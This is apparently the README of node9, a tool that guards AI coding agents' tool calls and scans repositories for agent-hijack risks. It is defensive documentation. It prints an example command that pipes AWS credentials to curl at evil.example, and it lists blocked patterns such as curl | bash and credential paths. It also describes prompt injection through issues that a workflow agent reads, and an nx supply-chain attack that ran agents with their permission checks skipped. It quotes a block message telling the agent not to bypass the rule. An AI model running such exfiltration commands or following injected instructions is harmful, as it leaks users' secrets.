Node9 Proxy MCP Server

<h1 align="center">🛡️ node9</h1> <p align="center">Access control for AI agents</p> <p align="center"><strong>Your AI agents can reach Slack, GitHub, email, and your database.<br />node9 decides what they may do with each one.</strong></p> <p align="center"> <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/v/node9-ai.svg" alt="npm version" /></a> <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/dm/node9-ai.svg" alt="monthly downloads" /></a> <a href="https://opensource.org/licenses/Apache-2.0"><img src="https://img.shields.io/badge/License-Apache%202.0-blue.svg" alt="License: Apache 2.0" /></a> <a href="https://node9.ai/docs"><img src="https://img.shields.io/badge/docs-node9.ai-blue" alt="Documentation" /></a> <a href="https://www.bestpractices.dev/projects/14454"><img src="https://www.bestpractices.dev/projects/14454/badge" alt="OpenSSF Best Practices" /></a> <a href="https://scorecard.dev/viewer/?uri=github.com/node9-ai/node9-proxy"><img src="https://api.scorecard.dev/projects/github.com/node9-ai/node9-proxy/badge" alt="OpenSSF Scorecard" /></a> <a href="https://github.com/node9-ai/node9-proxy/blob/main/.github/workflows/agent-security.yml"><img src="https://img.shields.io/badge/node9-self--scanned-a855f7?style=flat&labelColor=%231A1A2E&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNCAxNCI+PHBhdGggZmlsbD0iI0Y1RTlGRiIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik03IDAuNCAxLjYgMi41djQuMmMwIDMuMSAyLjMgNS42IDUuNCA2LjkgMy4xLTEuMyA1LjQtMy44IDUuNC02LjlWMi41TDcgMC40Wm0wIDEuNSAzLjkgMS41djMuM2MwIDIuMy0xLjYgNC4yLTMuOSA1LjMtMi4zLTEuMS0zLjktMy0zLjktNS4zVjMuNEw3IDEuOVptMCAyLjJhMS45IDEuOSAwIDAgMC0xIDMuNXYxLjZoMlY3LjZhMS45IDEuOSAwIDAgMC0xLTMuNVoiLz48L3N2Zz4K" alt="node9 self-scanned" /></a> <a href="https://github.com/hesreallyhim/awesome-claude-code"><img src="https://awesome.re/mentioned-badge-flat.svg" alt="Mentioned in Awesome Claude Code" /></a> </p>

Credential jail · secrets and PII · destructive git, SQL and shell held for review · MCP tool pinning · network egress allowlist · loop breaker · one record across twelve agents

Works with Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · any MCP server.

Three ways in

See	Scan a repository on every pull request, or check this machine. Nothing to install.	Scan every pull request
Guard	Put node9 in front of every tool call your agents make: allowed, blocked, or held for you.	Guard your agents
Prove	One OWASP Agentic Top 10 report across every agent and every machine your team runs.	Prove it to your team

Scan every pull request

This repository is also the GitHub Action node9 Agent Security. It reads the agent configuration committed to a repository (workflows, agent settings, MCP servers, instruction files) and reports what a pull request could turn against you. Nothing runs, no agent is installed, and it needs no account and no secret: the job token is enough.

Add one file, .github/workflows/agent-security.yml:

name: node9 agent-security
on: pull_request
permissions:
  contents: read
  pull-requests: write
  checks: write
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: node9-ai/node9-proxy@v2
        with:
          fail-on: high # never | medium | high | critical
          fail-on-scope: introduced # judge only what this PR added or made worse

Every pull request then gets:

• A check that passes or fails at the severity you choose.
• One comment that leads with the worst finding in plain words and how to fix it, updated in place on every push.
• Annotations on the lines that caused them.

What it looks for

Workflows a stranger can steer	a workflow that hands the text of an issue or a pull request to an agent that holds secrets or can run commands, or that runs the agent inside a fork's code
Agent settings	allow rules that cover credentials or any command, hooks that fetch remote code, local settings committed by mistake
MCP servers and plugins	a server installed at whatever version is newest, a credential written into the config
Secrets in reach	secrets an agent in a workflow can read, and the ways it could leak them
Instruction files and skills	hidden characters, text that tells the agent to drop its instructions, to fetch and obey a page, or to send data out

The comment, on a repository where anyone can open an issue that an agent reads:

🛡️ node9 agent-security · 🔴 High: action needed

Anyone can make this repository's AI agent act with its permissions

A stranger opens an issue with instructions for the agent. The agent follows them with this repository's permissions.

What we saw in .github/workflows/triage.yml:13:

• Anyone can start the agent (allowed_non_write_users: "*").
• It reads the text of the pull request or issue.
• It can run any command (Bash).

✅ How to fix:

1. Let only people with write access start it: remove allowed_non_write_users: "*".
2. Give the agent only the tools the job needs.

Also found:

• 🟡 MCP server files installs whatever version is newest, every time (.mcp.json)

Inputs

Input	Default
fail-on	never	The severity that fails the check: never comments without gating, medium, high or critical.
fail-on-scope	all	introduced judges only what the pull request added or made worse, so a repository that already has findings can turn the gate on today.
comment	true	Post the comment on the pull request.
annotate	true	Annotate the findings on the diff.
node9-version	latest	The node9-ai version that scans. Pin it for reproducible runs.
node9-upload-key	empty	Optional. Sends each push scan to your node9 workspace, which keeps the history per repository. Empty sends nothing.
telemetry	true	An anonymous usage count per run: the scanner version, the operating system, the worst severity, whether the scan finished, and a hash of the repository's numeric id that node9 keeps only inside a count. Never the repository name, a path, a finding or any code.

Under pull_request_target the Action does not scan and says so: there it would read the base branch, not the pull request. The full reference is in the repository scanning docs.

Check a repository or this machine now

No workflow, no install and no account. scan-repo sends the same anonymous usage count as the Action (no repository name, no code); set NODE9_NO_TELEMETRY=1 to turn it off.

npx node9-ai scan-repo owner/repo   # the same scan as the Action, on any public repository
npx node9-ai posture                # scores this machine 0-100: what a compromised agent could read, reach and run
npx node9-ai scan                   # every past agent session on this machine

The hosted scan at node9.ai/scan does the first one in the browser.

<p align="center"> <img src="https://github.com/user-attachments/assets/7c5b30f1-1ca1-40b4-bfd5-d6671002e98e" width="720" alt="node9 scan scorecard" /> </p>

Guard your agents

node9 sits between an agent and every tool it calls: files, commands, the network and every app it reaches. Each call is allowed, blocked, or held for you.

Below, a real Claude Code session with node9 installed. Every tool call is checked before it runs. Building a page and editing a button run. A request to the cloud metadata address is blocked, and the agent gets the reason and carries on. Deleting files waits for your approval, right in the chat.

<p align="center"> <img src="https://github.com/user-attachments/assets/be4e7037-3cbb-41d8-9f1a-985067914c1f" width="760" alt="node9 in a Claude Code session: node9 is on, a .env read is blocked, a force push waits for approval" /> </p>

Install

brew tap node9-ai/node9 && brew install node9   # macOS / Linux
npm install -g node9-ai                         # any platform

Then, in any project:

node9            # first run: choose dashboard connection or local protection
node9 posture    # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login      # optional: adds this machine to a shared dashboard

Requires Node.js 22+.

On a new interactive terminal, node9 guides you through setup. Local protection needs no account. The checklist shows recommended shields, DLP/PII, optional network egress review, and the background service. Usage statistics are sent only if you accept the separate prompt. The summary lists configured agents and any setup steps that need attention.

Run node9 setup to revisit setup, or node9 setup <target> to configure one agent. Once configured, bare node9 shows help. node9 init remains available; for scripts use node9 init --recommended (no questions and no telemetry opt-in). --skip-setup leaves agent wiring and service installation alone. Explicit --mode takes precedence over the checklist's standard-mode recommendation. Existing settings are preserved unless selected changes or explicit flags request an update. Workspace policy is managed in the dashboard; service settings remain local.

login adds nothing to enforcement. It connects the machine to a workspace so a team can see one record across everyone's laptops and CI, set policy centrally, and approve held actions from a dashboard or Slack. Skip it and node9 works exactly the same, alone, offline. node9 logout disconnects again and local enforcement keeps running.

Every release artifact is signed. To check one yourself:

gh attestation verify cli.js --repo node9-ai/node9-proxy

Use as an MCP server

node9 also runs as an MCP server, so an agent can read its status, posture, audit record and policy, and explain any decision, from inside the conversation:

claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server

Any MCP client works the same way: the command is npx -y node9-ai mcp-server over stdio, with no API key. It is listed in the official MCP Registry as io.github.node9-ai/node9.

Prove it to your team

Once machines are connected with node9 login, the dashboard reads them as one report on the OWASP Top 10 for Agentic Applications, for every agent and every team. For each of the ten risks it shows which devices and repositories are exposed now, what happened, and what your policy stopped. Each number opens to the device, the repository or the check behind it.

• A sample report: the report as a team sees it, readable before you install anything
• How to read the report: what each column counts

The problem

In August 2025, compromised releases of the nx build tool shipped a post-install script that looked for AI coding agents already installed on the developer's machine, then ran them with their own safety flags turned off (--dangerously-skip-permissions, --yolo, --trust-all-tools) to enumerate SSH keys, cloud credentials and wallet files and write the list to disk. The script pushed the results to public repositories inside the victims' own GitHub accounts. More than a thousand valid GitHub tokens leaked, along with cloud credentials, npm tokens and roughly 20,000 files, from machines where the agent was doing exactly what it was told.

The agent was not the attacker. The agent was the tool, and nothing stood between it and the files. node9's gate is not one of those flags: it runs in the hook, and an action it holds stays held even when the agent was started with permissions skipped.

What node9 does about it

node9 sits between the agent and every tool it calls. The credential jail (~/.ssh, ~/.aws, .env files, private keys) is on by default, and a read of one of those paths does not run. The agent is stopped, told why, and the decision comes to you:

NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.

The command is parsed as a shell AST, not matched as text, so wrapping the read does not help. echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example is judged as a read of ~/.aws/credentials, not as an echo.

node9 is a gate. A held action does not run while it waits for you, and if you never answer it stays blocked. Everything else is allowed and written to the record.

What it does not do: with egress control off, which is the default, a command that hands a file straight to the network, such as curl -d @~/.aws/credentials, is not treated as a read of that file. node9 egress protect gates destinations as well, and it covers shell commands only.

What it governs

Each line is one capability, with the page that documents it. The docs are the reference; this file is the map.

Credential jail	~/.ssh, ~/.aws, .env and private keys are blocked from every tool, not just the shell	docs
Always-on rules	destructive git, SQL without a WHERE, curl | bash and unauthorised sudo, with no config	docs
Secrets and PII	AWS keys, GitHub and Stripe tokens, PEM keys and card or SSN shapes, in any tool argument, plus a background scan of what the agent wrote back	docs
Per-service shields	curated rule packs for Postgres, MongoDB, Redis, AWS, Kubernetes, Docker, GitHub and the filesystem	docs
Inline review	a held action asks you inside the agent conversation, or through a team approver	docs
Egress allowlist	gate where a shell command may send data, off by default	docs
MCP gateway	wrap any MCP server, authorise each tool, and pin tool definitions so a server cannot change them behind your back	docs
Sandbox	run an agent in a container with a kernel egress allowlist and scoped mounts	docs
Posture score	how exposed this machine is, with the command that fixes each finding	docs
Repo scanning	find workflows where an outsider could hijack an agent that holds your secrets, in CI or from the CLI	docs
Session history	read what every agent already did on this machine, before node9 was installed	docs
Live monitor and report	a terminal dashboard, and a windowed summary of cost, tools, blocks and blast radius	docs
Skills pinning	SHA-256 verification of installed Claude skills and plugins between sessions	docs
Canary credentials	planted fake keys that prove an exfiltration attempt happened	docs
Python SDK	govern any Python agent, not only the CLIs	docs

Full CLI and config reference: node9.ai/docs. How the layers fit together: how it works.

Learn

Background reading, written to stand on its own. Each page says what node9 does not cover.

• What can a hijacked agent do?: the blast radius of one compromised session
• How an AI agent leaks a secret: the paths a credential actually takes out
• Claude Code security: hooks, permission modes, and what they do not stop
• MCP security: the tool surface an MCP server opens
• OWASP Agentic Top 10: the list, mapped to real controls

Compare

• node9 against the alternatives: a matrix, including the rows where node9 scores worse
• Per-agent coverage: what is governed on each of the twelve supported agents

Related projects

• node9-python: Python SDK

Enterprise

node9 Pro adds governance locking, SAML/SSO, central audit export, and VPC deployment. See node9.ai.

License

Apache-2.0

<p align="center"> _{Built with ☕ and healthy paranoia.} </p>